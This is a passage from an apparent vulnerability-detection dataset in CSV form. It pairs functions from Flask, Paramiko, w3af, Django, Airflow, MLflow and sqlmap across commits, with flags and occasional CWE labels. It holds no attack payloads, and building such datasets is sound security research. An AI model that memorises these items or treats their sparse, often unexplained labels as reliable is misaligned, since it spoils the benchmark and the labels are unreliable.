            self.assertEqual(0, len(issue1.find_all('span', id='code')))
            self.assertEqual(1, len(issue2.find_all('span', id='code')))
            self.assertEqual(1, len(issue3.find_all('span', id='code')))

            # issue2 code and issue1 first candidate have code
            self.assertIn('some code', issue1.find_all('span',
                                                       id='candidate')[0].text)
            self.assertIn('some code', issue2.find_all('span',
                                                       id='code')[0].text)

            # make sure correct things are being output in issues
            self.assertIn('AAAAAAA:', issue1.text)
            self.assertIn('BBBBBBB', issue1.text)
            self.assertIn('CCCCCCC', issue1.text)
            self.assertIn('abc.py', issue1.text)"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/sessions.py,0,"def save_session(
        self, app: Flask, session: SessionMixin, response: Response
    ) -> None:
        name = self.get_cookie_name(app)
        domain = self.get_cookie_domain(app)
        path = self.get_cookie_path(app)
        secure = self.get_cookie_secure(app)
        samesite = self.get_cookie_samesite(app)
        httponly = self.get_cookie_httponly(app)

        # Add a ""Vary: Cookie"" header if the session was accessed at all.
        if session.accessed:
            response.vary.add(""Cookie"")

        # If the session is modified to be empty, remove the cookie.
        # If the session is empty, return without setting the cookie.
        if not session:
            if session.modified:
                response.delete_cookie(
                    name,
                    domain=domain,
                    path=path,
                    secure=secure,
                    samesite=samesite,
                    httponly=httponly,
                )
                response.vary.add(""Cookie"")

            return

        if not self.should_set_cookie(app, session):
            return

        expires = self.get_expiration_time(app, session)
        val = self.get_signing_serializer(app).dumps(dict(session))  # type: ignore
        response.set_cookie(
            name,
            val,  # type: ignore
            expires=expires,
            httponly=httponly,
            domain=domain,
            path=path,
            secure=secure,
            samesite=samesite,
        )
        response.vary.add(""Cookie"")",,pallets/flask,70f906c51ce49c485f1d355703e9cc3386b1cc2b,"def save_session(
        self, app: Flask, session: SessionMixin, response: Response
    ) -> None:
        name = self.get_cookie_name(app)
        domain = self.get_cookie_domain(app)
        path = self.get_cookie_path(app)
        secure = self.get_cookie_secure(app)
        samesite = self.get_cookie_samesite(app)
        httponly = self.get_cookie_httponly(app)

        # If the session is modified to be empty, remove the cookie.
        # If the session is empty, return without setting the cookie.
        if not session:
            if session.modified:
                response.delete_cookie(
                    name,
                    domain=domain,
                    path=path,
                    secure=secure,
                    samesite=samesite,
                    httponly=httponly,
                )

            return

        # Add a ""Vary: Cookie"" header if the session was accessed at all.
        if session.accessed:
            response.vary.add(""Cookie"")

        if not self.should_set_cookie(app, session):
            return

        expires = self.get_expiration_time(app, session)
        val = self.get_signing_serializer(app).dumps(dict(session))  # type: ignore
        response.set_cookie(
            name,
            val,  # type: ignore
            expires=expires,
            httponly=httponly,
            domain=domain,
            path=path,
            secure=secure,
            samesite=samesite,
        )"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/pkey.py,0,"def sign_ssh_data(self, data, algorithm=None):
        """"""
        Sign a blob of data with this private key, and return a `.Message`
        representing an SSH signature message.

        :param bytes data:
            the data to sign.
        :param str algorithm:
            the signature algorithm to use, if different from the key's
            internal name. Default: ``None``.
        :return: an SSH signature `message <.Message>`.

        .. versionchanged:: 2.9
            Added the ``algorithm`` kwarg.
        """"""
        return bytes()",,paramiko/paramiko,714350c4dd459577898d72a59edc3213a99443d6,"def sign_ssh_data(self, data, algorithm=None):
        """"""
        Sign a blob of data with this private key, and return a `.Message`
        representing an SSH signature message.

        :param str data:
            the data to sign.
        :param str algorithm:
            the signature algorithm to use, if different from the key's
            internal name. Default: ``None``.
        :return: an SSH signature `message <.Message>`.

        .. versionchanged:: 2.9
            Added the ``algorithm`` kwarg.
        """"""
        return bytes()"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/plugins/grep/click_jacking.py,0,"def __init__(self):
        GrepPlugin.__init__(self)

        self._total_count = 0
        self._vuln_count = 0
        self._vulns = DiskList(table_prefix='click_jacking')
        self._ids = DiskList(table_prefix='click_jacking')",,andresriancho/w3af,5992a16b8438d417b471f8d74040cfc3dc19092d,"def __init__(self):
        GrepPlugin.__init__(self)

        self._total_count = 0
        self._vuln_count = 0
        self._vulns = DiskList()
        self._ids = DiskList()"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/generic_views/test_dates.py,0,"def test_year_view(self):
        res = self.client.get('/dates/books/2008/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['date_list']), [datetime.date(2008, 10, 1)])
        self.assertEqual(res.context['year'], datetime.date(2008, 1, 1))
        self.assertTemplateUsed(res, 'generic_views/book_archive_year.html')

        # Since allow_empty=False, next/prev years must be valid (#7164)
        self.assertIsNone(res.context['next_year'])
        self.assertEqual(res.context['previous_year'], datetime.date(2006, 1, 1))",CWE-Unknown,django/django,4f336f66523001b009ab038b10848508fd208b3b,"def test_year_view(self):
        res = self.client.get('/dates/books/2008/')
        self.assertEqual(res.status_code, 200)
        self.assertEqual(list(res.context['date_list']), [datetime.date(2008, 10, 1)])
        self.assertEqual(res.context['year'], datetime.date(2008, 1, 1))
        self.assertTemplateUsed(res, 'generic_views/book_archive_year.html')

        # Since allow_empty=False, next/prev years must be valid (#7164)
        self.assertEqual(res.context['next_year'], None)
        self.assertEqual(res.context['previous_year'], datetime.date(2006, 1, 1))"
,UNKNOWN,UNKNOWN,tests/api_connexion/endpoints/test_dag_run_endpoint.py,1,"def test_should_respond_200(self, dag_maker, session):
        dataset1 = Dataset(uri=""ds1"")

        with dag_maker(dag_id=""source_dag"", start_date=timezone.utcnow(), session=session):
            EmptyOperator(task_id=""task"", outlets=[dataset1])
        dr = dag_maker.create_dagrun()
        ti = dr.task_instances[0]

        ds1_id = session.query(DatasetModel.id).filter_by(uri=dataset1.uri).scalar()
        event = DatasetEvent(
            dataset_id=ds1_id,
            source_task_id=ti.task_id,
            source_dag_id=ti.dag_id,
            source_run_id=ti.run_id,
            source_map_index=ti.map_index,
        )
        session.add(event)

        with dag_maker(dag_id=""TEST_DAG_ID"", start_date=timezone.utcnow(), session=session):
            pass
        dr = dag_maker.create_dagrun(run_id=""TEST_DAG_RUN_ID"", run_type=DagRunType.DATASET_TRIGGERED)
        dr.consumed_dataset_events.append(event)

        session.commit()
        assert event.timestamp

        response = self.client.get(
            ""api/v1/dags/TEST_DAG_ID/dagRuns/TEST_DAG_RUN_ID/upstreamDatasetEvents"",
            environ_overrides={'REMOTE_USER': ""test""},
        )
        assert response.status_code == 200
        expected_response = {
            'dataset_events': [
                {
                    'timestamp': event.timestamp.isoformat(),
                    'dataset_id': ds1_id,
                    'dataset_uri': dataset1.uri,
                    'extra': {},
                    'id': event.id,
                    'source_dag_id': ti.dag_id,
                    'source_map_index': ti.map_index,
                    'source_run_id': ti.run_id,
                    'source_task_id': ti.task_id,
                    'created_dagruns': [
                        {
                            'dag_id': 'TEST_DAG_ID',
                            'dag_run_id': 'TEST_DAG_RUN_ID',
                            'data_interval_end': dr.data_interval_end.isoformat(),
                            'data_interval_start': dr.data_interval_start.isoformat(),
                            'end_date': None,
                            'logical_date': dr.logical_date.isoformat(),
                            'start_date': dr.start_date.isoformat(),
                            'state': 'running',
                        }
                    ],
                }
            ],
            'total_entries': 1,
        }
        assert response.json == expected_response",CWE-703,apache/airflow,4260b6bb6623247d168631f1c0dc81386b026bf3,"def test_should_respond_200(self, dag_maker, session):
        dataset1 = Dataset(uri=""ds1"")

        with dag_maker(dag_id=""source_dag"", start_date=timezone.utcnow(), session=session):
            EmptyOperator(task_id=""task"", outlets=[dataset1])
        dr = dag_maker.create_dagrun()
        ti = dr.task_instances[0]

        ds1_id = session.query(DatasetModel.id).filter_by(uri=dataset1.uri).scalar()
        event = DatasetEvent(
            dataset_id=ds1_id,
            source_task_id=ti.task_id,
            source_dag_id=ti.dag_id,
            source_run_id=ti.run_id,
            source_map_index=ti.map_index,
        )
        session.add(event)

        with dag_maker(dag_id=""TEST_DAG_ID"", start_date=timezone.utcnow(), session=session):
            pass
        dr = dag_maker.create_dagrun(run_id=""TEST_DAG_RUN_ID"", run_type=DagRunType.DATASET_TRIGGERED)
        dr.consumed_dataset_events.append(event)

        session.commit()
        assert event.timestamp

        response = self.client.get(
            ""api/v1/dags/TEST_DAG_ID/dagRuns/TEST_DAG_RUN_ID/upstreamDatasetEvents"",
            environ_overrides={'REMOTE_USER': ""test""},
        )
        assert response.status_code == 200
        expected_response = {
            'dataset_events': [
                {
                    'timestamp': event.timestamp.isoformat(),
                    'dataset_id': ds1_id,
                    'dataset_uri': dataset1.uri,
                    'extra': {},
                    'id': event.id,
                    'source_dag_id': ti.dag_id,
                    'source_map_index': ti.map_index,
                    'source_run_id': ti.run_id,
                    'source_task_id': ti.task_id,
                }
            ],
            'total_entries': 1,
        }
        assert response.json == expected_response"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,examples/flower_classifier/image_pyfunc.py,0,"def _predict_images(self, images):
        """"""
        Generate predictions for input images.
        :param images: binary image data
        :return: predicted probabilities for each class
        """"""

        def preprocess_f(z):
            return decode_and_resize_image(z, self._image_dims[:2])

        x = np.array(images[images.columns[0]].apply(preprocess_f).tolist())
        with self._graph.as_default():
            with self._session.as_default():
                return self._model.predict(x)",,mlflow/mlflow,c61bb98b247e8599ffb706ed36dc619e2ce47499,"def _predict_images(self, images):
        """"""
        Generate predictions for input images.
        :param images: binary image data
        :return: predicted probabilities for each class
        """"""

        def preprocess_f(z):
            return decode_and_resize_image(z, self._image_dims[:2])

        x = np.array(images[images.columns[0]].apply(preprocess_f).tolist())
        with self._graph.as_default():
            with self._session.as_default():
                return self._model.predict(x)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,dev/preview_docs.py,0,"def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(""--commit-sha"", required=True)
    parser.add_argument(""--pull-number"", required=True)
    parser.add_argument(""--workflow-run-id"", required=True)
    args = parser.parse_args()

    github_session = Session()
    if github_token := os.environ.get(""GITHUB_TOKEN""):
        github_session.headers.update({""Authorization"": f""token {github_token}""})

    circle_session = Session()
    if circle_token := os.environ.get(""CIRCLE_TOKEN""):
        circle_session.headers.update({""Circle-Token"": circle_token})

    # Get the ID of the build_doc job
    repo = ""mlflow/mlflow""
    build_doc_job_name = ""build_doc""
    job_id = None
    workflow_run_link = f""https://github.com/{repo}/actions/runs/{args.workflow_run_id}""
    for _ in range(5):
        status = github_session.get(
            f""https://api.github.com/repos/{repo}/commits/{args.commit_sha}/status""
        )
        build_doc_status = next(
            filter(lambda s: s[""context""].endswith(build_doc_job_name), status[""statuses""]),
            None,
        )
        if build_doc_status:
            job_id = urlparse(build_doc_status[""target_url""]).path.split(""/"")[-1]
            break
        print(f""Waiting for {build_doc_job_name} job status to be available..."")
        time.sleep(3)
    else:
        print(f""Could not find {build_doc_job_name} job status"")
        comment_body = f""""""
Failed to find a documentation preview for {args.commit_sha}.

<details>
<summary>More info</summary>

- If the `ci/circleci: {build_doc_job_name}` job status is successful, you can see the preview with
  the following steps:
  1. Click `Details`.
  2. Click `Artifacts`.
  3. Click `docs/build/html/index.html`.
- This comment was created by {workflow_run_link}.

</details>
""""""
        upsert_comment(github_session, repo, args.pull_number, comment_body)
        return

    # Get the artifact URL of the top level index.html
    job = circle_session.get(f""https://circleci.com/api/v2/project/gh/{repo}/job/{job_id}"")
    job_url = job[""web_url""]
    workflow_id = job[""latest_workflow""][""id""]
    workflow = circle_session.get(f""https://circleci.com/api/v2/workflow/{workflow_id}/job"")
    build_doc_job = next(filter(lambda s: s[""name""] == build_doc_job_name, workflow[""items""]))
    build_doc_job_id = build_doc_job[""id""]
    top_page = f""https://output.circle-artifacts.com/output/job/{build_doc_job_id}/artifacts/0/docs/build/html/index.html""
    changed_pages = f""https://output.circle-artifacts.com/output/job/{build_doc_job_id}/artifacts/0/docs/build/html/diff.html""

    # Post the artifact URL as a comment
    comment_body = f""""""
Documentation preview for {args.commit_sha} will be available when [this CircleCI job]({job_url})
completes successfully.

- [Top page]({top_page})
- [Changed pages]({changed_pages})

<details>
<summary>More info</summary>

- Ignore this comment if this PR does not change the documentation.
- It takes a few minutes for the preview to be available.
- The preview is updated when a new commit is pushed to this PR.
- This comment was created by {workflow_run_link}.

</details>
""""""
    upsert_comment(github_session, repo, args.pull_number, comment_body)",,mlflow/mlflow,4000bc8d75dfe2d3f18522663733f49a2b5c05f3,"def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(""--commit-sha"", required=True)
    parser.add_argument(""--pull-number"", required=True)
    parser.add_argument(""--workflow-run-id"", required=True)
    args = parser.parse_args()

    token = os.environ.get(""GITHUB_TOKEN"")
    headers = {""Authorization"": f""token {token}""}
    session = Session()
    session.headers.update(headers)

    # Get the ID of the build_doc job
    repo = ""mlflow/mlflow""
    build_doc_job_name = ""build_doc""
    job_id = None
    workflow_run_link = f""https://github.com/{repo}/actions/runs/{args.workflow_run_id}""
    for _ in range(5):
        status = session.get(
            f""https://api.github.com/repos/{repo}/commits/{args.commit_sha}/status""
        )
        build_doc_status = next(
            filter(lambda s: s[""context""].endswith(build_doc_job_name), status[""statuses""]),
            None,
        )
        if build_doc_status:
            job_id = urlparse(build_doc_status[""target_url""]).path.split(""/"")[-1]
            break
        print(f""Waiting for {build_doc_job_name} job status to be available..."")
        time.sleep(3)
    else:
        print(f""Could not find {build_doc_job_name} job status"")
        comment_body = f""""""
Failed to find a documentation preview for {args.commit_sha}.

<details>
<summary>More info</summary>

- If the `ci/circleci: {build_doc_job_name}` job status is successful, you can see the preview with
  the following steps:
  1. Click `Details`.
  2. Click `Artifacts`.
  3. Click `docs/build/html/index.html`.
- This comment was created by {workflow_run_link}.

</details>
""""""
        upsert_comment(session, repo, args.pull_number, comment_body)
        return

    # Get the artifact URL of the top level index.html
    job = session.get(f""https://circleci.com/api/v2/project/gh/{repo}/job/{job_id}"")
    job_url = job[""web_url""]
    workflow_id = job[""latest_workflow""][""id""]
    workflow = session.get(f""https://circleci.com/api/v2/workflow/{workflow_id}/job"")
    build_doc_job = next(filter(lambda s: s[""name""] == build_doc_job_name, workflow[""items""]))
    build_doc_job_id = build_doc_job[""id""]
    top_page = f""https://output.circle-artifacts.com/output/job/{build_doc_job_id}/artifacts/0/docs/build/html/index.html""
    changed_pages = f""https://output.circle-artifacts.com/output/job/{build_doc_job_id}/artifacts/0/docs/build/html/diff.html""

    # Post the artifact URL as a comment
    comment_body = f""""""
Documentation preview for {args.commit_sha} will be available when [this CircleCI job]({job_url})
completes successfully.

- [Top page]({top_page})
- [Changed pages]({changed_pages})

<details>
<summary>More info</summary>

- Ignore this comment if this PR does not change the documentation.
- It takes a few minutes for the preview to be available.
- The preview is updated when a new commit is pushed to this PR.
- This comment was created by {workflow_run_link}.

</details>
""""""
    upsert_comment(session, repo, args.pull_number, comment_body)"
,UNKNOWN,UNKNOWN,lib/request/connect.py,1,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        if conf.offline:
            return None, None, None

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        host = kwargs.get(""host"", None) or conf.host
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        start = time.time()

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

            if conf.proxyFreq:
                if kb.requestCounter % conf.proxyFreq == 0:
                    conf.proxy = None

                    warnMsg = ""changing proxy""
                    logger.warning(warnMsg)

                    setHTTPHandlers()

        if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))

            page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3)

            threadData.lastPage = page
            threadData.lastCode = code

            return page, headers, code

        if conf.liveCookies:
            with kb.locks.liveCookies:
                if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
                    warnMsg = ""[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)"" % (time.strftime(""%X""), conf.liveCookies, LIVE_COOKIES_TIMEOUT)
                    dataToStdout(warnMsg)

                    valid = False
                    for _ in xrange(LIVE_COOKIES_TIMEOUT):
                        if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0:
                            valid = True
                            break
                        else:
                            dataToStdout('.')
                            time.sleep(1)

                    dataToStdout(""\n"")

                    if not valid:
                        errMsg = ""problem occurred while loading cookies from file '%s'"" % conf.liveCookies
                        raise SqlmapValueException(errMsg)

                cookie = openFile(conf.liveCookies).read().strip()
                cookie = re.sub(r""(?i)\ACookie:\s*"", """", cookie)

        if multipart:
            post = multipart
        else:
            if not post:
                chunked = False

            elif chunked:
                post = _urllib.parse.unquote(post)
                post = chunkSplitPostData(post)

        webSocket = url.lower().startswith(""ws"")

        if not _urllib.parse.urlsplit(url).netloc:
            url = _urllib.parse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = _urllib.parse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL:
                    url = re.sub(r""(?i)\A(http|ws):"", r""\g<1>s:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: getHostHeader(url)}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE if unArrayizeValue(conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""

            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            if kb.headersFile:
                content = openFile(kb.headersFile, ""rb"").read()
                for line in content.split(""\n""):
                    line = getText(line.strip())
                    if ':' in line:
                        header, value = line.split(':', 1)
                        headers[header] = value

            if conf.localhost:
                headers[HTTP_HEADER.HOST] = ""localhost""

            for key, value in list(headers.items()):
                if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
                    value = re.sub(r""(?i)(,)br(,)?"", lambda match: ',' if match.group(1) and match.group(2) else """", value) or ""identity""

                del headers[key]
                if isinstance(value, six.string_types):
                    for char in (r""\r"", r""\n""):
                        value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                    headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip(""\r\n""))  # Note: Python3 has_header() expects non-bytes value

            if six.PY2:
                url = getBytes(url)  # Note: Python3 requires text while Python2 has problems when mixing text with binary POST

            if webSocket:
                ws = websocket.WebSocket()
                ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))

                _page = []

                if kb.webSocketRecvCount is None:
                    while True:
                        try:
                            _page.append(ws.recv())
                        except websocket.WebSocketTimeoutException:
                            kb.webSocketRecvCount = len(_page)
                            break
                else:
                    for i in xrange(max(1, kb.webSocketRecvCount)):
                        _page.append(ws.recv())

                page = ""\n"".join(_page)

                ws.close()
                code = ws.status
                status = _http_client.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                post = getBytes(post)

                if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST:
                    if kb.place != HTTPMETHOD.POST:
                        conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    else:
                        post = urldecode(post, convall=True)
                        post = encodeBase64(post)

                if target and cmdLineOptions.method or method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    req = MethodRequest(url, post, headers)
                    req.set_method(cmdLineOptions.method or method)
                elif url is not None:
                    req = _urllib.request.Request(url, post, headers)
                else:
                    return None, None, None

                for function in kb.preprocessFunctions:
                    try:
                        function(req)
                    except Exception as ex:
                        errMsg = ""error occurred while running preprocess ""
                        errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)
                    else:
                        post, headers = req.data, req.headers

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    with conf.cj._cookies_lock:
                        cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if not multipart:
                    threadData.lastRequestMsg = requestMsg

                    logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                conn = _urllib.request.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.choices.redirect == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, ""geturl"") else url

                    if hasattr(conn, ""redurl""):
                        responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl

                    responseHeaders = patchHeaders(responseHeaders)
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if not refresh:
                    refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)

                    if refresh:
                        debugMsg = ""got Javascript redirect logic""
                        logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""got a refresh intent ""
                        msg += ""(redirect like response common to login pages) to '%s'. "" % refresh
                        msg += ""Do you want to apply it from now on? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = _urllib.parse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
